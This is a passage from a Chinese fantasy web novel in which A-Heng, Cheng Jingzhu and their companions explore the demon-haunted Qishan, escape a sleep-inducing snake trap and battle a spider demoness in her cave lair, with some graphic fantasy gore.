那帮僧道的激动之情无以复加,一时间跪成了一片:“拜见元君!” “元君在上,上清紫霄宫药王殿弟子程净竹诚拜元君。” 程净竹俯首。 那法相高高在上, 与结界相互交融,她的目光倏尔落在底下那身穿靛蓝衣袍的少年身上,一霎神情震动, 张口:“你……” “我等并非存心毁坏结界,还望元君慈悲宽恕,”程净竹抬首,“如今东炎国军中混入妖物,其他各国军中亦有异动,弟子受师兄所托,前来岐山问候元君,敢问元君,您投射人间军中的神力可有异常?” 那法相低眉,地上僧道们只见一阵白茫茫的烟雾浮过,方才站立在不远处的那两男两女还有一个孩子竟然全都凭空消失了。 无晦子敏锐地抬头,见那烟雾如缕,很快融入了金光结界之中。 程净竹先觉身轻,不过抬眸一瞬,他发觉四周漆黑无边,唯有不远处那元君法相光明,清气非常。 这应该便是惠山元君法力缔结而成的虚无幻境。 “我的神力并无异常。” 那法相开口,顿时褪去霞光,她一身衣饰也因此而更加色彩鲜明,她先回答了他方才的问题,而后阔步而来,裙袂飞扬:“您的神魂在这样一副身躯里,一定很难受吧?” 程净竹并不说话。 惠山元君走近,站定,垂首,低眉:“小神拜见殿下。” “我早已不在上界,元君不必如此。” 程净竹道。 惠山元君立即说道:“白泽殿下,这几百年间,天帝一直在寻找您的下落……” “元君。” 程净竹打断她。 惠山元君一顿,她定定地望着面前这少年:“您对天帝有怨,所以才不愿与上界通信吗?可当时若有别的办法,天帝一定不会做那样的决定,小神身为七杀星,本应身先士卒,而不该让殿下您小小年纪去承担那天大的责任,殿下,是小神无能。” 此时,另一边。 浓烈的冷雾徐徐弥散,阿姮看清眼前的一切,发觉自己竟已经身处一片山林之中,此山林之密,枝叶几乎参天,而那天幕被耀耀金光所笼罩,山中竟无片雪,草木葳蕤而青黑,积玉懵然的声音响起:“小师叔呢?” 阿姮立即回头,只见积玉、霖娘甚至小山都在,却并无程净竹的身影,霖娘四下一望,茫然至极:“这便是岐山吗?难道方才程公子没有一起进来?” “不可能。” 阿姮十分笃定,方才那一阵雾气拂来,他明明还在。 岐山山高林密,几人四处探看,发现此地毫无人迹,草木肆意疯长,毫无章法,连一条像样的小径都没有,越是往前走,便越不好走,积玉只得拔出金剑来,时不时地斩开拦路的草木荆棘。 明明有结界在上,雨雪不入,脚下的土却松软到一脚踏上去,半只鞋子都要陷在里面,阿姮没走几步路,一双鞋子便脏得不能看了,她的眼睛此时还能看到颜色,也因此,她更觉察出此山的诡异,明明金光结界光明耀眼,但那样明亮的光投落于林,却光影散碎,淡薄至极,更衬四周草木碧绿发黑,人行其中,视线昏昏。 “不是说岐山妖祸严重吗?怎么好像什么动静也没有?” 霖娘一边走,一边看,心中越发觉得奇怪极了。 积玉手持金剑,一直凝神观察四方:“正因为什么动静都没有才奇怪,自我们来到这山上,你们可听见一声鸟叫,一处虫鸣?” 霖娘方才还没注意过这些,此时听他这么一说,便凝神听了听,果然,什么都声音都没有,这山巍峨至极,草木茂盛至极,也静谧至极。 死气沉沉。 阿姮转过脸,见小山跟在身侧,手中捧着那一截小小的触角,山中光影淡薄,所以那触角微弱的莹光便有点显眼,她看到小山从怀里摸出来弹弓,嘴唇抿得紧紧的,便悠悠道:“害怕啊?” 小山一下挺起胸膛:“谁怕了?我小山大侠什么世面没见过?” “那你抖什么?” “……就,就是总觉得后背有点冷。” 小山说不太清楚,这山里风很轻,但那么轻的风擦过他脖颈,他颈子上的汗毛都忍不住竖起来。 阿姮朝他伸手:“拿来。” 小山还没明白她要他给什么东西,阿姮的手却先探了过来,一把拿走他的弹弓,而后在手里抛了抛,指尖略微一勾,红云烈焰乍现,金芒如细丝般在其中闪烁,很快,那焰光蜿蜒缠绕到那弹弓之上。 “霖娘。” 阿姮抬头。 霖娘正和积玉在前面开路,听见阿姮的声音,一下回过头,只见阿姮朝她勾了勾手,说:“变点冰弹来。” “哦,”霖娘哪里知道阿姮又在玩什么,她也没功夫问,跟打发小孩似的翻手凝水作冰,掌心一推,数粒冰弹飞向阿姮,“拿去玩儿吧,不够再问我要啊。” 霖娘化出个冰剑又往前闷头开路。 阿姮手指一绕,冰弹顿时全都朝小山落去,小山连忙拉起来衣摆接住,抬起头,见阿姮将弹弓还来,又听她道:“试试你的弹弓。” 小山愣愣接过弹弓,小心将触角放回怀里,再将冰弹都装到随身的布袋里,他捏起来一颗,冰弹的冷刺得他指尖有点疼,他“嘶”了一声,飞快将冰弹放到弹弓之间,他眯起一只眼,瞄了瞄四周,却没找到任何鸟影,他只好瞄准一片树叶,手指力道一懈,弹弓散发出缕缕红焰,而冰弹飞快地弹射出去,击中那片树叶的刹那,整棵树都被撼倒。 小山瞪大双眼,再看自己的弹弓,明明还是那么普通的模样,不过是他随手找的根树杈而已,此时却变得非常猛厉,他眼睛晶亮:“姐姐你刚刚做了什么?为什么我的弹弓变得这么厉害?” 小山的崇拜之情溢于言表。 阿姮双手抱臂,轻抬下颌:“你那小树杈子一点都不结实,我给你改造之后,它属性为火,冰弹又属水,水火相冲会产生百倍相斥的力,借此力弹射出去的冰弹自然威力无边。” “哇!阿姮姐姐好厉害!” 小山蹦起来:“有火弹弓和冰弹,我就不怕坏妖怪了!” 小山拿着弹弓,捏起来一颗冰弹跃跃欲试,前面霖娘和积玉却忽然转过身来,此时,小山方才发现他们两个脸上,肩头都沾了脏脏的泥。 小山看了一眼倒在不远处的大树,这里的泥土又松又稀,显然那粗壮的大树道下来,溅起来的脏泥不少都飞到他们两个身上去了,小山一下讪讪的:“对不起……” 霖娘神情幽怨:“你们两个不要再玩了,有惠山元君在这儿,再有什么坏妖怪只怕都死绝了,不然我们走了这么一段路,怎么什么都没遇到呢?” “既然都死绝了,那为什么惠山元君还在岐山,不回上界?” 阿姮说道。 “这山上不太对,”积玉举着金剑开了这么久的路,胳膊都酸了,他始终保持着警惕,“泥土如此稀松软烂,可草木却异常茂盛,整个岐山若都是这样的水土,却从来不曾有过滑坡之类的险情,那这座山一定有鬼,我听说,岐山曾被一个大妖霸占了百年,此地应该是修行福地,既然是福地,那么这里的水土便不该如此。” “大妖?什么大妖?” 霖娘问道。 却是此时,连天的草木“梭梭”而动,积玉敏锐地回头,阴冷的风迎面而来,他凛声喊道:“大家小心!” 阿姮亦回望背后,他们几人踏出来的这条蜿蜒小径两边草木晃动,浓暗的阴影之中,一切都那么的不清晰,她暗红的双眸却从那草木摇动的轨迹中发觉这阵阴风袭来的方向,她瞬间低头,只见脚边一尾碧绿的蛇悄然缠绕在她的脚踝,那双冰冷的蛇目注视着她,蛇信子一吐,尖牙泛着锋利的冷光,顿时青色的烟雾涌动。 “阿姮!” 霖娘瞪大双眼,立即奔向她,却骤然觉得头脑眩晕,一个趔趄摔倒在阿姮脚边。 “这烟气不对劲!” 积玉眼前一花,他立即反应过来,并起双指迅速将一张药箓打入自己眉心,随后他又赶紧连飞出两张药箓分别打入小山与霖娘体内,再看阿姮,那碧蛇森白的尖牙正对准她的脚踝,“嘶嘶”的声音轻响,那双蛇目却忽然凝视住倒在近前的霖娘的脸,“嘶嘶”的声音陡然变得急促。 “霖娘。” 碧蛇张口,竟口吐人言:“赵霖娘……” 积玉手中已凝出药箓,闻言却忽然一顿,却是此时,阿姮捏着它的尾巴尖儿将它硬生生拽起来,红云烈焰积了满掌,她铁了心要烤焦这条小碧蛇,那碧蛇却倾刻间化为淡青的烟雾扑向阿姮。 阿姮嗅到一种阴冷幽香的味道。 紧接着,她双目昏花,只听见一道轻快尖细的声音:“小姑娘下手如此没轻重,也该你吃些闷亏……” 阿姮只来得及辨出那是碧蛇的声音,随后,她意识消沉,毫无预兆地倒了下去。 “阿姮!” 霖娘混沌的神思被积玉一记药箓打得清醒许多,见阿姮忽然倒了下来,她立即直起身将她抱住。 “阿姮姐姐!” 小山大叫着跑过去。 积玉连忙过去将药箓打入阿姮体内,但阿姮却并没有什么反应,积玉心中怪异,又接连用了十几张药箓,却全部都好像石沉大海,霖娘见阿姮闭着眼,仍没有苏醒的迹象,她着急了:“积玉,你到底行不行啊?阿姮怎么一点反应都没有?” 积玉也急得满头大汗:“我怎么知道?按道理来说,我的药箓对你有用,对她也应该有用才对,若不是我药箓的缘故,那么……” 积玉想起那碧蛇化为的青烟比他们之前见的那一阵雾气要浓很多,而且是直扑阿姮面门去的,他拧起眉头来:“也许正是那碧蛇化成的烟雾的缘故,也不知道是毒还是咒,我实在看不出来。” “啊?” 小山大大的眼睛里盛满忧虑:“那,那阿姮姐姐怎么办?她不会有事吧?” “积玉你想想办法啊!” 霖娘触摸阿姮的脸,阿姮根本没有人的温度,她也没有办法凭此判断阿姮到底境况如何:“你们药王殿本事不是很多吗?怎么是毒是咒你也看不出!” “我看不出能怎么办!” 积玉正急得抓耳挠腮,听她吵吵嚷嚷,忍不住和她呛声:“那蛇方才喊你名字,难道你认识它?你要不喊喊它,让它回来帮你的忙啊!” “我到哪里去认识一条蛇!我也不明白它怎么知道我的名字啊!” 霖娘火冒三丈。 “哥哥姐姐别吵了!” 小山蹲在阿姮身边,手指在阿姮鼻尖探了探,随后他的眼睛亮起来:“没死!阿姮姐姐没死!” 霖娘转头见状,立即将手指探到阿姮鼻间。 那是很微弱的呼吸。 而且并不温热。 她再看阿姮的脸,她仍旧闭着眼睛,此时头顶正有淡薄的金光洒下来,阿姮浓密的眼睫下,是一片淡淡的影,脸颊淡淡的粉,那是霖娘今晨为她精心涂抹的一层胭脂,那胭脂衬得她俨然有一副人类的气色,艳丽无边。 她眉头舒展,唇边带笑,似好梦正酣。 霖娘神情担忧地望着她。 阿姮是妖邪,是本相虚无的妖邪,她……怎么可能安睡,怎么可能做梦呢? 霖娘忽然见她额头鬓发边有三两处泥点,便立即用衣袖为她擦,可擦了一两遍,那泥痕竟然纹丝不动。 这……是怎么回事? 阿姮嗅到那阴冷的幽香的刹那,便倾刻发觉自己好像置身于一个漆黑无边的地方,她听到了水声,那泠泠滴答的声音,仿佛是从石壁上蜿蜒而下,一点一滴。 迎面,有风来。 阿姮从那阵风中,嗅到好闻的草木清香。 冥冥之中,阿姮胸中涌起无比熟悉的感觉,眼前的漆黑,耳边的水声,风中的清香,都是那么的熟悉。 她没有心脏,却觉得胸腔紧缩起来。 风徐徐地吹,她觉得自己身姿无比轻盈,低头一看,才发现自己竟然只有淡色的模糊的轮廓,几乎透明。 “月亮上很冷,和这里一样冷,你不要去。” 一道稚嫩的声音响起。 阿姮陡然循声望去,漆黑之中,有一片淡淡的光影,那光影之中,有一副同她一样模糊的轮廓。 阿姮下意识地朝他飘过去。 无尽的漆黑似乎要将她阻隔在那片光影之外,阿姮却不肯罢休,她奋力地往前,裙袂飞扬地像透明的翅膀。 她很努力,很努力地靠过去。 一直一直往前。 终于,她融入那片光影之中,那是一个十三四岁少年的轮廓,他的身躯像她一样飘浮着,半透明,透着淡淡的金色。 阿姮靠近,他模糊的轮廓逐渐变得清晰起来。 她忽然愣住了。 水声断断续续,滴滴答答,四周阴冷潮湿,风也不知是从哪里来的,草木香依旧,阿姮望着他的脸,脱口:“小草哥哥……” 她却根本不明白自己为什么要这样喊。 少年衣白如雪,那双清润剔透的眼眸朝她看来: “阿姮,去人间吧。” 少年稚气的声音回荡在阿姮耳边,这声音渐渐与人重合,化成一声又一声的“阿姮”,那声音逐渐褪去稚气,变得清若玉磬,变得尽在咫尺。 阿姮倏尔睁开双眼。 结界闪耀的金光穿林过叶,刺痛她的眼睛,她的视线花了一瞬,不由眨动一下眼睛,却忽然望见那样一双清透漂亮的眼睛。 “阿姮你终于醒了!” 霖娘大松了一口气。 “阿姮姐姐,太好了你没事了!” 小山激动极了。 阿姮却怔怔凝望着面前的少年,她的眼睛又看不到颜色了,他靛蓝色的衣袍在她眼中成了浓郁的黑色,他的面容更显冷感,积玉在旁说了些什么,他转过脸去,说:“并不是你不用功,此法非毒非咒,而是令人嗜睡的阵法,她吸入的烟气比你们多数倍,若无正确的解法,便会一直陷在睡梦之中。” 霖娘连忙问道:“可阿姮根本不会睡觉,又怎么能被困在所谓睡梦之中呢?” “烟气所结的阵法可以造梦,即便她根本不会睡觉,受困阵中,亦与睡梦无异。” 程净竹说着,忽然觉得衣袖被拉拽了两下,他侧过脸,垂眸之际正对上阿姮直勾勾的目光,他一顿,抬手在她额头探了探。 “小神仙,我做梦了。” 阿姮望着他说。 “那不是做梦,是阵法。” 程净竹收回手。 “是吗?” 阿姮望着他的脸,穿透林叶的碎光落在他身上,他在一片半明半昧的光影里,她想起梦中那张脸:“可我真的梦见一个人,他有你的眼睛,你的鼻子,你的嘴,他看起来哪里都像你,只是年纪看起来比你小……” 阿姮说着,点了点自己的眉心:“他这里没有戒痕。” 她笑盈盈的,满脸新奇地回味着那个奇怪的梦境,说:“小神仙,我敢肯定,那就是你,你在我的梦里,变成一棵小草精了。” 第64章 第64章 阿姮的目光落在他的鼻尖。…… 天上金光似乎越来越盛, 一时山林之间几乎无晦,阿姮没太看清他的眼睛,更难辨他的神采,他像是愣住了, 没有动, 此时, 积玉一脸莫名地张口道:“什么小草精?你好不容易做了场梦,就不能梦点好的?我小师叔如何能是一棵小草精呢?你知不知道你方才有多危险,我眼看就拿你没办法了, 幸好小师叔及时出现, 给你用了我们药王殿最金贵的清神香, 要不然, 你只怕就要睡死过去了!” 说到这儿,积玉这才想起来问:“对了, 小师叔, 你方才去哪儿了?我们不是一起进来的吗?我们找了很久,一直不见你人影。” “我去见了惠山元君。” 程净竹看了阿姮一眼, 站起身。 “什么?您见到惠山元君了?” “只见到了她的法相, 并非真身。” 程净竹说道。 霖娘将阿姮扶着站起身来, 又帮她拍了拍身上的草叶, 天边的金光刺得霖娘有些难受, 她抬手挡了一下,说:“我怎么觉得这金光越发耀眼了?真让人不舒服……” 不只是霖娘不舒服,阿姮也觉得不舒服。 这种感觉, 跟诛妖伏鬼大阵给她的感觉十分相似。 “这到底是结界,还是诛妖伏鬼大阵?” 阿姮抬眸,天边已被金光融成一线, 忽然一只手挡在她眼前,那只手冷白的腕骨上,一串霞珠粉辉流转,绮丽无边。 阿姮眸光一动,看向他的脸。 “你们两个都不要直视它。” 程净竹收回手,目光在阿姮与霖娘之间来回一眼,“上界的诛妖伏鬼大阵威力无边,远非人间玄门可比,何况造此阵的,是七杀星惠山元君,她是杀伐之神,自有无上杀伐之力,方才元君明示,岐山曾为一大妖所占,此妖修行不正,而至岐山方圆百里灾祸频发,人烟尽绝,元君在此降妖数日,奈何此妖物身负三千年道行,使岐山万事万物与其息息相关,以至于元君束手束脚,至今未能将其收服,所以元君以此诛妖伏鬼之阵,借最盛阳火,降下神威荡涤岐山,所以,我们必须要在正午之前离开这里,否则,你们二人必受此阵株连。” 杀伐之神的威力可不是开玩笑的,霖娘吓得不轻,正要说走,却忽然看向小山,小山正捧着那一截小小的触角,小山却低着头,像是根本没有在听他们说话,他嘴里嘟嘟囔囔的,霖娘凑过去,隐约听见他在小声喃喃:“不行,我要找小勤。” “我不,我说了我要找小勤。” “吵死了……” “小山?”霖娘觉得奇怪,忙喊了声。 小山好像十分的恍惚,好一会儿才反应过来,抬起脸,傻傻的:“啊?” 阿姮盯着他那副傻样,若有所思。 “程公子,我们还没有找到小勤,这就走了吗?” 霖娘抿了一下唇,有点犹豫。 小山一下紧紧盯住程净竹。 程净竹看了他一眼,对霖娘道:“正午阳火最盛,加之元君阵法在上,我与积玉虽是人身,亦要受阵法威压所慑,我虽不太确定阿姮会如何,但我敢肯定,你若滞留在此,一定魂飞魄散,大道难成。” 霖娘吓得脸上更白了,显得胭脂的颜色那样突兀。 “霖娘姐姐,你们快走吧!我自己留下来找小勤!”小山握紧触角,对她说道。 “小崽子,你胆子也别太大了。” 阿姮垂眸睨他:“虽说你不是修行中人,清浊之气的博弈对你毫无影响,但这山上残存的妖怪应该饿了很久吧,也不知道你这么小一只人类崽子,够不够他们塞牙缝的。” 小山浑身一抖,但惶恐的神情并未在他那张稚嫩的面容上留存太久,他的神情很快变得坚定,他摊开一只手掌,露出冒着红色光彩的弹弓,他望着阿姮说:“我有你给我改造的弹弓,还有霖娘姐姐给的冰弹,我……我不怕,什么都不怕,姐姐,你快走吧,一定不要让天上的金光劈到你。” “不行,我们怎么能把你一个人留在这儿呢?虽说这阵法对你没有什么伤害,但这山上不知还有多少妖怪,我们一走,你小小一个孩子,要怎么办?” 积玉眉头皱得死紧,说着便几步走过去,将他夹在腋下:“少说废话,快跟我们一块儿走!” “积玉哥哥放我下来!” 小山使劲地蹬腿。 积玉被他踢到大腿,“嘶”了声,却没将他放下:“臭小子你安分点!” “我不走!我不走!” 小山喊道。 霖娘十分头痛,急忙安抚:“小山,小山,你听话……” 小山哪里肯听,还要大喊大叫,却见阿姮那双暗红的眼睛微微一眯,他发现自己手脚动不了,低头一看,红色的雾气萦绕他身上,阿姮的声音幽幽响起:“臭崽子,你再吵,我就把你烤熟……下个山而已,你别一副要你命似的样子,下了山,又不是不能再上来。” 小山一愣:“你们……还会陪我上来吗?” 程净竹看了他一眼,说道:“此时下山,是为暂避惠山元君的阵法,待躲过正午,再寻他法上来便是。” “可是,惠山元君还能让我们上来吗?” 霖娘说道。 阿姮哼笑了一声:“她不让,我们便进不来了?” “对哦……你有万木春。” 霖娘想起来阿姮之前便用万木春将这岐山结界划出了一道口子。 小山终于老实了,不再闹,积玉把他放下来,他就安安分分地跟在阿姮身边,此时霖娘方才注意到阿姮的额头:“阿姮,你……这里的泥痕怎么没有了?” “什么泥痕?哪有?” 阿姮抬手,摸了摸自己的额头。 “原来是有的啊,我怎么擦都擦不掉。” 霖娘百思不得其解。 阿姮皱了一下眉头,没怎么当回事,抬头见程净竹召出法绳,积玉则将背后金剑唤出,那剑身变得巨大,悬在半空,他跃了上去,朝霖娘招手。 霖娘立即抱起小山跃上金剑。 银色的法绳若游龙环绕程净竹,他掠身飞去,积玉操控金剑御风紧随其后,阿姮的身形倾刻化为红雾,如缕相随。 金剑擦过林梢,奋飞而上,霖娘惧怕头顶金光,顿时紧闭双目,耳边隐约听见身擦林叶的沙沙之声,正是此时,浓密的林荫之中莹白细丝悄无声息地缠绕树干往上,林中白烟四起,霖娘没睁眼,只听小山惊慌道:“这是什么东西!” 程净竹敏锐地回头,风中的红雾也凝滞,霖娘骤然睁眼,转头只见小山身上缠了一层绵绵细丝,那细丝也从小山身上飞快缠绕到她身上来,积玉见状,脸色一变,立即伸手要抓霖娘的衣领,却已来不及,霖娘与小山被那细丝强行拽离金剑。 程净竹立即扬手,法绳飞出,却被滚滚袭来的浓密烟雾包裹,无辨方向。 程净竹与积玉落到地面,暗红的雾气迅速从他身边擦过,融入那片白烟之中,程净竹立即飞出一张白符,两人行动迅速,追随白符,身影很快没入雾气之中。 雾中莹白的丝线交错而来,程净竹并起双指,法绳飞舞,银鳞炸开,锋利的棱角齐齐割断丝线,白符趁机穿丝而去,化为流火,纠缠不休。 风雾之中,非人的尖啸响起。 积玉看到那白符化成的流火消散的方向:“小师叔这边!” 红雾率先追逐而去,程净竹与积玉两人紧随其后,风雾浓烈至极,天地都不辨颜色,他们穿行其中,却很快迷失在一片朦胧林影里。 阿姮凝出身形,望向四周,烟海漫漫,一片枯败林木,她神情阴沉,伸手自一截树枝上蹭下来一缕白丝。 “到底是什么东西?怎么到了这儿便无影无踪了?” 积玉手持金剑,满头大汗。 程净竹看向眼前这片林木,风雾渐渐淡了,脚下泥土仍旧软烂,四周林木枯败,看起来像是先前被惠山元君的阵法所波及过,所以生机全无,他的目光缓缓游移,只见不远处涧泉徐徐,水色清朗。 他闭目细听,道:“不对。” “如何不对?” 积玉抬头看向那沿山势流淌而下的涧泉,再看四周,他并未察觉出什么异样。 “水声的远近不对,” 程净竹睁开眼,目光落到林下地上,地面碎光点点,没入晦暗,“光影不对,这些树木也不太对。” 这样的距离并不算远,但他们听到的水声却不够近,而天上金光耀耀,此片林木虽然密集,但明明没有花叶,林荫却重,光影太淡,这些树木虽然已经枯败,但程净竹总觉得它们各自扎根的方位乱中有序,隐含章法。 积玉细心观察,果然发现端倪,他一下恍悟:“小师叔你是说……这很有可能是五行之中的木土异形之阵?” 积玉觉得十分不可思议:“我早听闻过这阵法可借五行之中土木之性,扭曲空间,缔造异境,但我却从来没有见过,想不到这岐山上的妖物竟然能有这样大的本事!” “可我们要如何进去呢?” 积玉急得不行:“霖娘和小山都落到那妖物手里了!” 阿姮站在一棵老树前,烟雾淡淡拂过,她的目光凝在一截枝条之上,此树明明已是枯败之相,但那一截枝条之上,分明有一点微末的颜色,阿姮伸出手指,那点颜色落到她掌心,竟是一点枯黄的芽蕊。 一棵早已枯败的树,还会留有这样的芽蕊吗? 阿姮发髻边的万木春顿时化为金芒,转瞬凝聚在阿姮的指尖,她掌中枯黄的芽蕊顿时变绿,她抬眸扫视四方林木,掌中金电随红雾四散,无数林木枝条颤颤,骤然新绿满枝,落英缤纷,生机无限。 落英点点,俱随一个方向吹去,阿姮三人不约而同望去,只见白雾浓浓,她与程净竹相视一眼,随即三人向雾中去。 三人穿云过雾,不多时,眼前雾气变得越来越淡,但积玉却觉四周阴风阵阵,他施展照明术,才发现他们不知何时竟然已置身于一洞府之中。 洞中漆黑无光,唯有积玉双指间一簇火苗可勉强照亮四周,他的目光从嶙峋的石壁往上,忽然吓了一跳:“什么东西……” 阿姮仰起脸,只见洞顶一片晶莹雪白,但那似乎并不是什么雪,而是千丝万缕的白丝,诡异的是,那些层层叠叠的白丝隐约透露出一具又一具人的身躯的轮廓,那白丝紧紧勾勒,而使得他们面容上扭曲的神情显露无疑。 那雪白莹丝之间有点点莹光浮动,阿姮看到那星星点点的莹光覆盖在白丝之上,化成一只又一只漆黑幼小的蜘蛛,它们密密麻麻地趴在上面,像在咬开一层一层的白丝,直到最里面的红色露出来,那颜色很快洇湿了外层的白丝,一滴,一滴地下坠,落到阿姮的脚边。 是血的味道。 清浊混杂的血气令阿姮口干舌燥,而那蛹竟然在颤抖,很快,蜘蛛们咬开更多的丝线,里面一只手忽然垂落下来,阿姮下意识看去,那只手皮肉残缺,血红一片,指节还在颤动。 那些蜘蛛们,竟然在吃他的血肉。 “真恶心啊。” 阿姮面不改色。 “快救人啊!” 积玉脸色都白了,强忍呕吐的欲望,连忙挥出金剑,剑锋所过之处,白丝层层松散,露出里面一具具衣饰完好的尸体,他们无不头颅完好,身躯却都被蛀空血肉,只剩一副白骨,唯有近前那人是个活口,他只有一只手臂被吃空了血肉。 黑色的小蜘蛛们受惊,瞬间化为轻烟消散,那活口从上面掉下来,同时,他怀里的物件也掉了出来,积玉一眼看去,竟然是一枚紫薇金蕊玉令,他一惊:“清风观的人?” 此时,漆黑的洞穴深处,万千莹白的细丝飞来,阿姮与程净竹同时动了,红云烈焰与银尾法绳齐齐飞出截断乱丝。 “连这里都被你们闯进来了,” 洞穴深处,那女声又娇又软,却十分的阴冷,她轻声笑,“哎呀,我是不是不该招惹你们啊……” “那个水鬼,还有那个小崽子呢?” 阿姮掌中红云烈焰跳跃,映照她苍白而冶艳的脸。 “我这些徒子徒孙们太多,按理来说,我本应该留着他们两个给我这些子子孙孙们慢慢享用的,”洞穴深处,那女声好似无辜,“可惜你们追我太紧,我怕到手的食物飞了,所以就只能一边跑一边吃了,说实话,我这辈子还没吃过水鬼,吃起来没味儿不说,还占肚子,不过,那小崽子的肉是真嫩啊……可惜,吃不了几口就没了,还不够我塞牙缝儿的,姑娘,别找他们了,他们啊……都已在我的五脏庙中了。” 她话音才落,那些化为轻烟的小蜘蛛们悄无声息地出现在他们三人身侧,阿姮与程净竹离得最近,小蜘蛛吐出莹白的丝倾刻将他们两个绑到了一起,而积玉则被跟那清风观的活口绑到了一块儿。 积玉骤然嗅到那道人身上皮肉腐烂的味道,他根本忍不住,一下吐了,那道人似乎醒了,睁开眼睛便见积玉埋头大吐特吐,却说不出一句话。 积玉发现他醒了,一边止不住地吐,一边说:“对不住……呕……” 阿姮的烈焰与程净竹的法绳俱斩不断这跟束缚他们的丝线,洞穴幽深之处,那女声得意道:“此蛛丝乃是我精心炼化了几百来年的好宝贝,火烧不断,利器斫不断,你们就别白费力气了,乖乖做我的盘中餐吧,你们两个成一道菜,便叫——鸳鸯肉吧?” 这蛛丝也不知用了什么办法炼化而成,阿姮被它缚住,竟无法化身为红雾,她转过脸,果然见程净竹的银尾法绳银鳞片片炸开,却根本无法弄断这根蛛丝。 “小神仙。” 阿姮眼波阴冷,仰起脸看向他:“我要剖开这只臭蜘蛛的五脏庙好好看看,霖娘和那个小崽子到底在不在里面。” 程净竹眉峰微动。 他几乎立即明白过来,此刻他双手被缚,无法动作,但凝视她那双暗红的眸子片刻,他双指并起,描画出一道金芒,又瞬间浸入他的指节,那金芒顺着他的指骨往上,经过他的手臂,肩背,涌入眉心的一瞬,他俯身低首,额头贴上她的额头:“天地有炁,万象无形,迢迢银汉,兴覆在我,收!” 阿姮的目光落在他的鼻尖。 刹那,她的身形融化成一滩泛着银光的水,失去壳子的束缚,红雾燃烧若焰,虚无形状,蛛丝根本无法将其收束,红雾如缕,金电闪烁,伴随强大气流猛然席卷去洞穴深处。 第65章 第65章 “我曾认识一个人,那人从赤…… 红雾迅疾涌向幽深之中, 短暂的尖啸刺痛众人耳膜,程净竹双臂仍被蛛丝束缚,他抬眸只见远处漆黑,又有浓浓浮雾, 难辨其中境况。 那声尖啸过后, 又忽然一片死寂。 黑暗之中, 红雾幽幽浮浮,洞中忽而亮起一层冷白的光,方才照见此洞穴之宽阔, 竟是曲折廊亭, 清潭荷影, 一片花草葳蕤, 香风阵阵,阿姮失去了壳子, 凝不成人形, 幽幽风雾中,她见那淡淡烟气中, 一女子鬓发蓬松, 髻若高耸, 偏簪一朵娇艳含露的白牡丹, 一侧垂鬟畔则有一根银钗, 那钗头乃是一只分毫毕现的银蜘蛛,蛛目血红,垂下一缕流苏珠饰中, 有小小银囊,囊中冷光闪闪,飞向四周, 或落于蓊郁花木之间,或在朱漆栏杆之上,星星点点,使此间明朗。 那女子坐在一只巨大的白毛蜘蛛上,那蜘蛛个头与老虎无异,女子亭亭侧坐,肢体丰润,着素白银花纱衫,里面一件银丝缎齐胸裙,更衬其颈项纤秀而雪白,她眉若小山迤逦,眼似秋水横波,丰彩韶秀,神态却妖异非人,她似乎是被阿姮吓了一大跳,眼中尽是诧异不解:“你也是妖……怎么我却看不出你到底是个什么?” 阿姮无躯壳,亦难发人声,不过她自然也不必要与这蛛女多说什么,她只需要剖开蛛女的肚子,一探究竟而已。 红雾悄无声息,迎面掠去,那蛛女挽指,蛛丝飞出,却穿雾而过,蛛女脸色一沉,立即一掌抚在身下白毛巨蛛的脑袋上,那巨蛛双目赤红,张口吐出阵阵白烟,烟气缠绵,稍阻红雾之际,蛛女再挽指出丝,结出网来,刹那裹住红雾,落在地上,成了一颗洁白的蛛丝球。 “任你虚无之身,也难逃我这天罗地网!” 蛛女红唇一勾,得意非常。 然而话音才落,只见那蛛丝球猛然腾空而起,“轰”的一声,红云烈焰如簇迸发,倾刻吞噬层层蛛丝,飞灰落地,轰云烈焰骤然扑向蛛女,蛛女挽丝以对,却奈何那焰光太盛,烧得她蛛丝缕缕成灰,她身下猛兽般巨大的白毛蛛呼吸吐纳,瘴烟频发,纵然口器两侧一对螯肢锋利若钳,却奈何红雾虚无缥缈,招招只得空落,白毛蛛逐渐暴躁,尖啸不断,坐在它身上的蛛女亦神色不耐,指尖连飞蛛丝,却难触红雾分毫,正是此时,那红雾烧成烈烈红焰,穿烟过瘴,直逼她面门而来。 蛛女一惊,立即展臂后跃,顿时身下那只白毛巨蛛化为白烟,蛛女落去廊庑之上,白烟在她层叠若云的裙摆缠绵,她鬓边饱满硕大的白牡丹轻轻颤动,那银蛛钗流苏摇晃,银囊中又有点点冷光飞散而出,若蝴蝶般栖息四周。 蛛女摸了摸自己的脸,方才那股随红云烈焰而来的灼烫气流令她还有些惊魂未定:“你到底是个什么东西……” 红云烈焰猛然逼来,蛛女话音戛然而止,她立即往廊内连退数步,捻指一挥,蛛丝攀附廊柱结成厚厚的网,烈焰竟一时穿不透。 那蛛女丰腴婀娜的身姿在蛛网后影影绰绰:“我真不该惹你这怪东西,我精心炼化的黄金缕丝本没多少,两根用在你同伴身上,剩下这么些都用来对付你了,我实在恨你这虚无缥缈的本相,害我招招落不到实处……如今你也尝尝这憋屈滋味!” 阿姮此时方才注意到这蛛网果真金黄不一般,蛛网千丝缠绕,若织布一般,飞快向她裹来,阿姮立即往后一避,那金丝蛛网转而将蛛女包裹其中,蛛女在里面亭亭静立,浓烈的瘴烟却从中弥漫而来,这烟气同样虚无缥缈,使得阿姮在其中行动变缓。 那蛛女正在蛛网中冷笑,却见那团红雾散开,所过之处,阴风四起,这强风吹得瘴烟流速加快,蛛女立即挽指,金丝蛛网顿时铺展,压向那红雾。 红雾在瘴烟中流转,擦金丝蛛网而过,直逼廊上蛛女,蛛女立即翻身飞到廊下花丛之中,却见那红云烈焰飞散开来,朱漆廊庑顿时起了点点火光,那火光很快蔓延至碧窗朱槅,蛛女立即勃然大怒:“你竟敢毁我琼阁!” 红雾似乎凝滞了一瞬,紧接着,蛛女便见那红雾灵动游弋,好似恍然大悟一般,瞬间化为道道流火,蛛女美目大睁:“你要干什么!” 然而流火无情,岂肯随她心意,火光散落四周,花木,草丛,碎石小径上旁的潇潇竹影,乃至潭边秀亭,珠帘纱幔,全都燃起一片火光。 蛛女挽指飞丝引潭中之水,如降天雨,可水雾濛濛也难压高涨的焰光,此时阴冷的风吹拂蛛女耳边的浅发,她明明难辨那风音,却心中了然这当是此怪异妖邪的冷讽,此妖邪烧不穿她的宝贝黄金缕,而她也休想灭了这妖邪的烈焰! 